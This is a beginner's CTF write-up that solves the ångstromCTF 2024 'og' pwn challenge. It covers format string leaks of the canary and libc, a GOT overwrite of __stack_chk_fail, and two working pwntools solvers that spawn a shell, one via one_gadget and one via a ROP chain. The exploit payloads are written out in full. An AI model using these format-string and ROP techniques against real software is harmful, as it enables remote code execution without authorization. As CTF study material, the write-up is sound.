All Articles

Beginner's Guide to CTF Pwn 1 - FSB Basics and ROP Techniques

This page has been machine-translated from the original page.

I recently started studying Pwn.

This time, while receiving advice from our team’s Pwn specialist, I worked through ångstromCTF 2024’s “og” challenge to learn about Format String Attacks and ROP techniques. I’m writing this up as a beginner’s guide to Pwn.

Table of Contents

Problem Overview: og (Pwn)

only the ogs remember go

The challenge binary (ELF) provided for this problem is composed mainly of two functions: main and go.

Below are the decompilation results for each function.

int64_t go()
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    setbuf(stdin, nullptr);
    setbuf(stdout, nullptr);
    setbuf(stderr, nullptr);
    printf("kill $PPID; Enter your name: ");
    void var_38;
    fgets(&var_38, 0x42, stdin);
    printf("Gotta go. See you around, ");
    printf(&var_38);
    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
    {
        return (rax - *(uint64_t*)((char*)fsbase + 0x28));
    }
    __stack_chk_fail();
    /* no return */
}


int32_t main(int32_t argc, char** argv, char** envp)
{
    go();
    return 0;
}

As you can see from the binary, this program has the Canary enabled.

Additionally, PIE is disabled and RELRO (Relocation Read-Only) is Partial RELRO, so a GOT override appears relatively straightforward.

image-20240604211454156

Reading the decompiled code, fgets(&var_38, 0x42, stdin); reads up to 0x42 bytes of input and stores it at RBP-0x30.

This means there is a buffer overflow vulnerability here.

Also, printf(&var_38); outputs the received input via printf, revealing that a Format String Attack is also possible.

From these findings, we can predict that the Flag can be obtained by using a Format String Attack to leak the Canary and succeed in a BoF attack, or by executing code at an arbitrary address via GOT override.

Format String Attack Basics and Practice

To carry out the Format String Attack, let’s first review the typical abuse of FSB (Format String Bug), centered around the following excellent article.

Reference: Format String Exploitを試してみる - CTFするぞ

Reference: Format Strings | Japanese - Ht | HackTricks

What is FSB?

FSB refers to a vulnerability in programs where an attacker can input text containing format specifiers as the first argument to functions such as printf, sprintf, or fprintf.

In this challenge binary, the user-supplied data is passed as the argument to printf(&var_38);, so we can determine that an FSB vulnerability exists.

Functions like printf support format specifiers such as the following.

A format specifier consists of the % symbol, flags, a decimal length string, conversion specifiers, and so on.

Below are common conversion specifiers and their purposes:

%d —> int(Decimal)
%u —> Unsigned int(Decimal)
%x —> Unsigned int(Hex)
%08x —> 8 hex bytes
%f -> double(Decimal)
%c -> Unsigned char
%s —> String
%p —> Pointer
%n —> Number of written bytes to pointer
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3)> Access to var3

Reference: fprintf()

In particular, for integer conversion specifiers other than f, c, s, and p, you can use length modifiers such as %hhn to handle the argument value as the specified size:

hh -> 1 byte(harf-half)
h -> 2 byte(harf)
l -> 8 byte(long)

Using these specifiers, when a user can control the first argument to printf (as in printf(&var_38);), FSB can be abused to leak data from the stack or memory, or to tamper with arbitrary data.

This abuse is possible because functions like printf, sprintf, and fprintf take a variable number of arguments, so the function itself cannot determine how many arguments were actually provided.

As a result, the function attempts to display as many values from registers and the stack as there are format specifiers in the first argument. (When %n is used, the number of characters printed is written to the pointer argument.)

Specific abuse methods using FSB are described below.

Values That Can Be Leaked via FSB

When abusing FSB in CTF, you need to understand in advance which register or stack value each embedded format specifier will reference.

For the Linux x64 calling convention, each argument is typically stored as follows:

Argument Storage
1st argument RDI
2nd argument RSI
3rd argument RDX
4th argument RCX
5th argument R8
6th argument R9
7th argument and beyond Stack address

Since the first argument holds the format string, a Format String Attack reads register values starting from the second argument (RSI through R9), and from the sixth format specifier onward begins reading from the stack. (At that point the stack top usually contains the format string text from the first argument.)

Let’s verify this behavior in gdb.

In this challenge binary, the FSB vulnerability can be exploited at the following location.

The stack area at RBP-0x30 already contains the format-specifier string provided via user input.

image-20240606214521784

Let’s set a breakpoint at 0x401239 and debug with the input AAAABBBB_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p.

b *0x401239
r
# Input: AAAABBBB_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p

The output from printf was AAAABBBB_0x7fffffffba20_(nil)_0x7ffff7e9a887_0x1a_(nil)_0x4242424241414141_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0xa70255f70255f.

AAAABBBB is the raw input, but the range up to 0x7fffffffba20_(nil)_0x7ffff7e9a887_0x1a_(nil) contains the values of registers from RSI (the 2nd argument) to R9 in order. (With %p, zero values are displayed as (nil).)

image-20240606220230900

After that, 0x4242424241414141_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0xa70255f70255f shows stack values in order.

Inspecting the stack area at RBP-0x30 and beyond in gdb at this point confirms that it matches the values leaked via printf.

image-20240606220444467

In most cases, you can also explicitly specify a particular argument position using the $ notation.

For example, supplying AAAABBBB_%6$p will print only the 6th value (the stack address where printf arguments are stored) via %6$p.

image-20240606221024478

By applying this technique, you can also leak values at addresses far from the stack address where printf arguments are stored.

Leaking the Canary with FSB

Next, let’s use FSB to leak the Canary value.

The Canary is typically saved to the stack in each function’s prologue, so it is easy to leak via FSB.

In this challenge binary, the Canary is stored at RBP-0x8 inside the go function.

Since %6$p can access RBP-0x30 (where our format string is stored), the stack area holding the Canary can be reached by adding (0x30-0x8)//0x8 = 5, giving %11$p.

By providing this input, we can successfully leak the Canary from the stack inside the go function. (The Canary value is randomized each time the program runs.)

image-20240606222639190

However, in some situations — such as when BoF has already corrupted the stack — we may not be able to read the Canary from RBP-0x8 inside go.

The following shows an example where the output of %11$p is 0x4141414141414141 because the Canary has been overwritten.

image-20240606222828946

In such cases, targeting the Canary saved deeper in the stack (below the stack address that the printf inside the FSB-vulnerable function references) enables us to successfully leak it.

In this specific case, we first set a breakpoint inside the go function, note the Canary value fetched from the TLS (fs:0x28) (e.g., 0xba2d86a755c0c400), and then use searchmem 0xba2d86a755c0c400 to check whether the same value is embedded elsewhere in the stack.

As shown below, the same value as the Canary is found at 0x7fffffffdc18, which is at a deeper address than the RSP of the go function.

image-20240606230423319

This appears to be a residual value from when __libc_start_call_main (called before main) saved the Canary from TLS to the stack.

image-20240606230322555

The difference between this address and RBP-0x30 of go is 0xd8, and 0xd8//0x8 = 27, so %33$p should also be able to leak the Canary.

In practice, we can confirm that %11$p and %33$p leak the same value, and that the Canary can be successfully leaked via %33$p even when the go function’s stack has been corrupted by BoF.

image-20240606231708048

The Canary leaked this way will be used later when exploiting the BoF vulnerability.

Leaking the libc Base Address with FSB

Next, we’ll use FSB to leak a library function address and identify the libc version so we can later use ROP or OneGadget.

One technique for leaking library function addresses via FSB is to leak the return address of __libc_start_main_ret that is held on the main function’s stack.

In this binary, the __libc_start_main_ret return address is recorded 16 bytes after the address where go’s return address is stored.

In other words, adding (0x30+0x8+0x10)//8 = 9 gives %15$p, which leaks the __libc_start_main_ret address.

image-20240606234914053

Connecting to the challenge server and leaking this address via FSB identifies the last 3 hex digits of __libc_start_main_ret as 0xd90.

image-20240606235228460

This allows us to narrow down the libc version running on the challenge server to some extent.

image-20240606235215536

In this case, the Dockerfile was also provided, so we can confirm that the libc version is 2.35-0ubuntu3.6.

image-20240606235817115

Performing a GOT Override with FSB

We’ve confirmed that FSB can leak the Canary and libc function addresses. However, in the current implementation of go, once the input is received and printed via printf, the program exits.

Since the binary running on the challenge server is not fork-based, and the Canary and library load addresses are randomized each run, we cannot chain the leaked data into an exploit as things stand.

To work around this, we need to use techniques like BoF or GOT override to force the vulnerable input-accepting function to execute repeatedly.

As confirmed earlier, this binary has PIE disabled and uses Partial RELRO, so a GOT override should be feasible.

Let’s identify a suitable target for the GOT override that we can use to re-execute the go function.

image-20240607221710176

Of these targets, overriding __stack_chk_fail — which is called when the Canary is corrupted — lets us simultaneously re-execute go and prevent the process from terminating if BoF occurs.

To perform the GOT override via FSB, it is convenient to use pwntools’ fmtstr_payload.

However, our goal is not to be script kiddies, so let’s practice the FSB-based GOT override with a handmade payload.

As summarized earlier, FSB uses the %n format specifier to overwrite a value at a memory address.

%n writes the number of characters printed by printf up to that point to the pointer argument.

For example, running the following code prints 5 on the line after ABCD:

#include <stdio.h>
int main() {
    char* buf[10];
    printf("ABCDE%n\n", &buf);
    printf("%d", buf[0]);
    return 0;
}

This is because ABCDE%n\n stores the count of characters printed before %n (which is 5) into the address of buf.

By applying this specifier, FSB can write an arbitrary byte value to a specified pointer address.

Several techniques can be used for more flexible memory overwriting.

First, you can use a specifier like %100c.

Using %100c lets you write a specific value without actually providing 100 characters as arguments — simply outputting the specified amount of padding — so you can use a shorter notation like %100c%n to write a specific value.

Running the following code confirms that the value of buf is overwritten with 100. (Note: %100c itself also needs an additional argument.)

#include <stdio.h>
int main() {
    int buf = 0;
    printf("%100c%n\n",NULL,&buf);
    printf("%d", buf);
    return 0;
}

Also, %hhn writes 1 byte, %hn writes 2 bytes (short), and %n writes 4 bytes (int).

Detailed information on this behavior is hard to find, but it is likely achieved by the cast in the following section of printf:

case 'n':
    ptr = va_arg(ap, void *);
    if(flags & LONGLONGFLAG)
        *(long long *)ptr = chars_written;
    else if(flags & LONGFLAG)
        *(long *)ptr = chars_written;
    else if(flags & HALFHALFFLAG)
        *(signed char *)ptr = chars_written;
    else if(flags & HALFFLAG)
        *(short *)ptr = chars_written;
    else if(flags & SIZETFLAG)
        *(size_t *)ptr = chars_written;
    else 
        *(int *)ptr = chars_written;
    break;

Reference: lib/libc/printf.c - kernel/lk - Git at Google

Testing with the following code confirms: with %hhn, only the lower 1 byte of buf is overwritten; with %hn, only the lower 2 bytes; and with %n, all bytes are overwritten.

#include <stdio.h>
int main() {
    // 0xFFF -> 0xFF
    int buf = 0x0DDDDDDD;
    printf("%4095c%hhn\n",NULL,&buf);
    printf("%x", buf);
    
    // 0xFFFFF -> 0xFFFF
    buf = 0x0DDDDDDD;
    printf("%1048575c%hn\n",NULL,&buf);
    printf("%x", buf);
    
    // 0xFFFFFFFF
    buf = 0x0DDDDDDD;
    printf("%268435455c%n\n",NULL,&buf);
    printf("%x", buf);

    return 0;
}

Also, as you can see when running this code, executing printf("%268435455c%n\n",NULL,&buf); outputs an enormous amount of padding.

Performing such an operation against a remote machine would generate hundreds of MB to several GB of network traffic, risking attack failure due to network load or payload send delays.

Therefore, unless there are input-size restrictions that prevent it, it is better to overwrite memory in short or byte units.

Note: pwntools’ fmtstr_payload defaults to write_size='byte'.

def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0, no_dollars=False)

Now let’s create a payload to redirect the __stack_chk_fail GOT so that the go function is called when the Canary is corrupted.

The GOT address of __stack_chk_fail is 0x404018, and the call address of go is 0x401196.

Let’s first try the following payload:

%4198806c%8$n\x90\x90\x90\x18@@\x00\x00\x00\x00\x00

This payload consists of: <0x401196 bytes of padding> + <write as int to the pointer held by the 7th stack argument> + <alignment padding> + p64(0x401196).

Sending this payload to the binary confirms that the GOT address pointed to by __stack_chk_fail has been successfully overwritten to 0x401196.

image-20240609200650367

However, as noted above, this payload would output 0x404018 bytes of data.

So next we’ll refine the payload to overwrite the memory address in byte or short units.

The payload generated by the following Python script also successfully overrides the GOT address of __stack_chk_fail to 0x401196:

b"%17c%12$hhn%47c%13$hhn%86c%11$hhn" + b"\x90"*7 + p64(0x404018) + p64(0x404019) + p64(0x40401a)

In this payload, %17c%12$hhn writes 0x11 to 0x404019, %47c%13$hhn% writes 0x40 to 0x40401a, and %86c%11$hhn writes 0x96 to 0x404018.

Since the value written by %n changes based on the number of characters printf has output so far, we determine the write order and the %c output values by sorting from smallest to largest and taking the difference each time.

Therefore, when writing in byte units, the total data output by printf can be kept to around 0xFF (+α).

Also, the following payload uses %hn to overwrite memory in short units, which also achieves the GOT override:

b"%64c%10$hn%4438c%9$hn" + b"\x90"*3 + p64(0x404018) + p64(0x40401a)

Here, %64c%10$hn writes 0x0040 to 0x40401a, and %4438c%9$hn writes 0x1196 to 0x404018, performing the override.

When writing in short units, the same approach as byte units is used: sort by smallest value and take the difference each time.

With this, we’ve successfully handcrafted a payload for a FSB-based GOT override.

That said, when actually solving CTF problems, you’ll want to create payloads more easily.

So let’s use pwntools’ fmtstr_payload function, which we introduced earlier.

The fmtstr_payload function is defined with the following default parameters:

def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0, no_dollars=False)

So the user only needs to supply offset (the position of the topmost accessible stack address relative to the format specifier) and writes (a dictionary of address-value pairs to overwrite) to exploit FSB easily.

As confirmed earlier, the offset for the topmost accessible stack argument in this binary’s FSB exploit is 6.

The GOT address of __stack_chk_fail is 0x404018, and the call address of go is 0x401196.

Given this information, the following script easily generates a payload for the GOT override:

fmtstr_payload(offset=6, writes={elf.got["__stack_chk_fail"]:0x401196})

Running this script generates the following payload:

b'%150c%11$lln%123c%12$hhn%47c%13$hhnaaaab\x18@@\x00\x00\x00\x00\x00\x19@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00'

In this payload, %150c%11$lln first writes 0x96 to 0x404018.

The reason %lln is used despite the default write_size being byte is likely to flush any other data at the target memory by writing 0x96 as a long long type.

Also, unlike the handmade payload — which sorts writes from smallest value to largest — the fmtstr_payload-generated payload writes 1 byte at a time from 0x404018 to 0x40401a in order.

This likely exploits the property of %hhn that bytes beyond the lower 1 byte are ignored.

As a result, even if 0x96 is written first, additional output can bring the count to 0x111 or 0x140, effectively writing 0x96, 0x11, and 0x40 in sequence.

image-20240609222154782

Comparing such a refined script-generated payload with a handmade one is a great learning exercise for understanding the tool’s design choices.

Solution 1: Get a Shell with OneGadget

Having successfully leaked the libc base address and performed the GOT override via FSB, we can now obtain a shell for this challenge.

To get a shell using these two techniques, I’ll use one_gadget — introduced in the security CTF book “詳解セキュリティコンテスト” — for a one-gadget RCE.

Reference: david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6

First, copy the same-version libc.so.6 file (/srv/usr/lib/x86_64-linux-gnu/libc.so.6) from the container built using the provided Dockerfile to your local machine.

Then run the following command to identify the one-gadget RCE address:

# sudo gem install one_gadget
one_gadget ./libc.so.6

Running this command produces the following output:

image-20240610000108947

Using the libc address leaked via FSB, the GOT override, and this OneGadget, the following solver obtains a shell:

from pwn import *

# Set target
TARGET_PATH = "./og"
elf = context.binary = ELF(TARGET_PATH)

# target = process(TARGET_PATH)
target = remote("challs.actf.co", 31312)

# Exploit
# First stage
target.recvuntil(b"Enter your name: ")
payload = b"%64c%11$hn%4438c%10$hn%15$p" + b"\x90"*5 + p64(0x404018) + p64(0x40401a)
target.sendline(payload)

r = target.recvuntil(b"Enter your name: ")
l1 = len(b"0x7f4dfd768d90\x90\x90\x90\x90\x90\x18@@kill $PPID; Enter your name: ")
l2 = len(b"\x90\x90\x90\x90\x90\x18@@kill $PPID; Enter your name: ")
leaked_libc_main_ret = int(r[-l1:-l2].decode(),16)
leaked_libc_base = leaked_libc_main_ret - 0x029d90
print(hex(leaked_libc_main_ret))

# Second stage
payload = fmtstr_payload(offset=6, writes={elf.got["__stack_chk_fail"]:leaked_libc_base+0xebc85},write_size="short")
target.sendline(payload)

target.clean()
target.interactive()

In the First stage, the handmade payload simultaneously overrides the GOT address of __stack_chk_fail to the go function’s call address and leaks the __libc_start_main_ret address.

The reason for using a handmade payload rather than fmtstr_payload here is that appending an arbitrary format specifier (%15$p) to a fmtstr_payload-generated payload is cumbersome.

If you prepend %15$p to the fmtstr_payload-generated payload, you need to adjust the stack position, output character count, and padding — making it nearly as much work as handcrafting from scratch.

Also, fmtstr_payload-generated payloads typically contain \x00, causing printf to stop printing everything after that point, so appending %15$p after the payload would prevent the address leak.

Therefore, First stage uses a handmade payload to simultaneously perform the GOT override and the libc address leak.

In the subsequent Second stage, the libc base address derived from the leaked address is combined with the OneGadget offset 0xebc85 and embedded into the GOT address of __stack_chk_fail. (The first address from one_gadget did not satisfy the conditions, so the second address 0xebc85 is used.)

Note that write_size="short" is specified here because using the default byte size would result in a payload of 0x78 bytes, exceeding the 0x42-byte input limit.

Specifying write_size="short" reduces the payload to 0x40 bytes.

Running this script fires the OneGadget RCE embedded in __stack_chk_fail’s GOT during Second stage, obtaining a shell.

image-20240604225303804

Bonus: Concatenating Arbitrary Format Specifiers to fmtstr_payload

It is of course possible to concatenate arbitrary format specifiers to a fmtstr_payload-generated payload.

For this challenge binary, the following script creates a payload that simultaneously leaks the libc address and performs the GOT override:

payload = b"%15$pAAA" + fmtstr_payload(offset=7, numbwritten=17, writes={elf.got["__stack_chk_fail"]:0x401196},write_size="short")

Here, the 8-byte string b"%15$pAAA" (including padding for stack alignment) is prepended to the fmtstr_payload-generated payload.

Because prepending %15 shifts the stack position by 8 bytes, the offset is changed from 6 to 7.

Since b"%15$pAAA" is expected to print 17 characters (0x7f4dfd768d90AAA), numbwritten is set to 17.

This way — with a bit of effort — arbitrary format specifiers can be appended to a fmtstr_payload-generated payload.

b'%15$pAAA%4485c%11$lln%170c%12$hhnaaaabaa\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00'

The reason write_size="short" is also added here is the same as in the Second stage payload — to fit within the 0x42-byte input constraint.

ROP and Canary Bypass in Practice

Although Solution 1 with OneGadget successfully obtained the shell and the Flag, I’d like to try an alternative approach: obtaining a shell via ROP.

To perform ROP, you generally need to complete the following steps:

  1. If a Canary is present, bypass it
  2. Leak the libc version and base address as needed
  3. Build a ROP chain for the exploit
  4. Overcome the input limit and embed the exploit on the stack

In this section, I’ll work through each of these steps using the same og binary.

Performing a Canary Bypass

First, let’s bypass the Canary.

We already practiced leaking the Canary via FSB, but let’s create a new payload adjusted to leak both the libc address and the Canary simultaneously while also performing the GOT override:

payload = b"%15$p %33$pAAAAA" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got["__stack_chk_fail"]:0x401196},write_size="short")

The reason %33$p is used for the Canary leak is — as shown in the earlier section — to leak the complete Canary from a deeper stack location in a single FSB exploit, even while corrupting go’s stack.

By adjusting the payload sent to the second invocation of go so that the leaked Canary lands at RBP-0x8, we can trigger BoF without corrupting the Canary.

In practice, adjusting the payload as follows confirms that we can overwrite the return address without destroying the Canary:

target.recvuntil(b"Enter your name: ")
payload = b"%15$p %33$pAAAAA" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got["__stack_chk_fail"]:0x401196},write_size="short")
target.sendline(payload)

r = target.recvuntil(b"Enter your name: ")
l = len(b"Gotta go. See you around, 0x7ffff7dafd90 0x952782961e0ba900")
leaked_libc_main_ret = int(r[:l].decode().split(" ")[5],16)
leaked_libc_base = leaked_libc_main_ret - 0x029d90
leaked_canary = int(r[:l].decode().split(" ")[6],16)

target.sendline(b"A"*(0x30-0x8) + p64(leaked_canary) + b"B"*(0x42-0x30))

image-20240610211903172

Collecting ROP Gadgets

NX is enabled in this challenge, so we cannot directly embed code in executable memory regions.

Therefore, we consider ROP as a method for abusing BoF to achieve RCE while bypassing NX.

ROP typically works by constructing a ROP chain from instruction sequences ending in ret (called ROP Gadgets) and chaining them together.

By calling the embedded ROP chain on the stack in sequence, arbitrary code can ultimately be executed.

In many cases, a ROP chain attempts to obtain a shell by executing a function (such as system) with a specific argument loaded into a register.

Particularly useful gadgets are instructions like pop rdi ; ret and pop rsi ; ret, which load values from the stack into the argument registers RDI and RSI (used in the x64 calling convention).

These gadgets were previously available in the __libc_csu_init function, but for binaries compiled dynamically with glibc 2.34 or later (as in this challenge), __libc_csu_init no longer exists, so these gadgets are unavailable.

In practice, compiling the same C code on environments with glibc 2.34+ vs. older versions shows that on glibc 2.34+, gadgets like pop rdi ; ret are absent.

python -q Binary compiled on glibc < 2.34

image-20240612222134799

python -q Binary compiled on glibc >= 2.34

image-20240612222258852

The details of these changes are well explained in the following article:

Reference: glibc code reading 〜なぜ俺達のglibcは後方互換を捨てたのか〜 - HackMD

In any case, since this challenge binary was compiled on glibc 2.34+, gadgets like pop rdi ; ret or pop rsi ; ret do not exist in the binary itself, making it non-trivial to construct a ROP chain that gets a shell.

One workaround in this situation is to identify the libc version from the leaked address, then use gadgets from the shared library to form a valid ROP chain.

In practice, searching the library file already extracted from the container — used by the challenge server — reveals many gadgets useful for key operations.

image-20240612223621000

So I’ll gather gadgets from this library file that can be used in the ROP chain.

One of the most typical and simple ROP chains looks like this:

payload += flat(
    pop_rdi_ret,
    binsh_addr,
    system_addr
)

Using a tool like ropr, we can easily extract the gadgets needed for this ROP chain from the library file:

pop_rdi_ret = leaked_libc_base + 0x1bbea1
binsh_addr = leaked_libc_base + 0x1d8678
ret = leaked_libc_base + 0x1bc065
system_addr = leaked_libc_base + 0x50d70

Working Around Input Constraints

However, the problem here is that go limits input to 0x42 bytes.

Since Canary plus Saved RBP takes up 0x30+0x8 bytes, there are only 10 bytes of space left for BoF — not nearly enough to embed a ROP chain.

So we need to find a way to work around the input constraint.

In this case, go’s BoF can only execute a single ROP gadget.

Options include finding a gadget that can directly spawn a shell (like OneGadget RCE), or allocating a sufficiently large buffer elsewhere and jumping into it.

As already confirmed, the GOT override causes go to be called again whenever the Canary is corrupted.

Using this, the stack frame of the previous go invocation can serve as storage for the ROP chain:

| $RBP-0x30 |
| $RBP-0x28 |
| $RBP-0x20 |
| $RBP-0x18 |
| $RBP-0x10 |
| $RBP-0x8  | <- Canary
| $RBP-0x0  | <- Saved RBP
| $RBP+0x8  | <- Return Address
| $RBP+0x10 | <- Previous go's $RBP-0x30 (only 2 bytes can overflow here)
| $RBP+0x18 | <- Previous go's $RBP-0x28

The one hurdle is that when embedding a ROP gadget into the Return Address via BoF, the 2 bytes at the next stack location (previous go’s $RBP-0x30) will be corrupted.

Because of this corruption, we need a way to skip over the problematic $RBP+0x10 stack entry when executing the ROP chain embedded in the previous go’s stack frame.

For example, in this binary, executing a gadget containing an appropriate pop instruction allows us to remove that stack entry from the top of the stack, after which we can execute the ROP chain embedded at $RBP+0x18 and beyond — effectively bypassing the constraint.

Solution 2: Get a Shell with ROP

Using this approach to work around the input constraint and execute the ROP chain from $RBP+0x18 onward, I prepared the following payload:

from pwn import *

# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64

# Set target
TARGET_PATH = "./og"
elf = context.binary = ELF(TARGET_PATH)

target = remote("challs.actf.co", 31312)

# Exploit
# First stage
target.recvuntil(b"Enter your name: ")
# payload = b"%64c%11$hn%4438c%10$hn%15$p" + b"\x90"*5 + p64(0x404018) + p64(0x40401a)
payload = b"%15$p %33$pAAAAA" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got["__stack_chk_fail"]:0x401196},write_size="short")
target.sendline(payload)

r = target.recvuntil(b"Enter your name: ")
l = len(b"Gotta go. See you around, 0x7ffff7dafd90 0x952782961e0ba900")
leaked_libc_main_ret = int(r[:l].decode().split(" ")[5],16)
leaked_libc_base = leaked_libc_main_ret - 0x029d90
leaked_canary = int(r[:l].decode().split(" ")[6],16)

pop_rdi_ret = leaked_libc_base + 0x1bbea1
binsh_addr = leaked_libc_base + 0x1d8678
ret = leaked_libc_base + 0x1bc065
system_addr = leaked_libc_base + 0x50d70

# Second stage
payload = flat(
    b"A"*8,
    pop_rdi_ret,
    binsh_addr,
    ret,
    system_addr,
    b"B"*0x10
)
target.sendline(payload)

# Third stage
target.recvuntil(b"Enter your name: ")
payload = flat(
    b"A"*(0x30-0x8),
    leaked_canary,
    b"B"*8,
    pop_rdi_ret
)
target.sendline(payload)

target.clean()
target.interactive()

In the First stage, the libc base address and Canary are leaked.

In the Second stage, a ROP chain is embedded in the region at $RBP-0x28 and beyond, and the Canary is intentionally corrupted.

In the Third stage, pop rdi; ret is used as the single embeddable ROP gadget to remove $RBP+0x10 from the stack top, then the ROP chain embedded at $RBP-0x28 and beyond is executed to obtain a shell.

This successfully obtained the shell and the Flag using ROP.

Other ROP Techniques

ROP Technique Using RBP Replacement

A technique using pop rbp to replace RBP, allowing RDI to be controlled even without a pop rdi gadget.

When using pop rbp, care must be taken with how leave is handled.

Reference: Imaginary CTF 2024 - ropity

Embedding Shell Code

A technique using ROP to embed arbitrary shell code into memory space.

Reference: A Beginner CTFer’s Pwn Crash Course 2 - seccomp Bypass and Shell Code Basics -

Summary

I had been feeling stuck with Rev lately, so I started studying Pwn in earnest.

By spending time working through FSB and ROP in depth, I feel I’ve gained insights that I can apply going forward.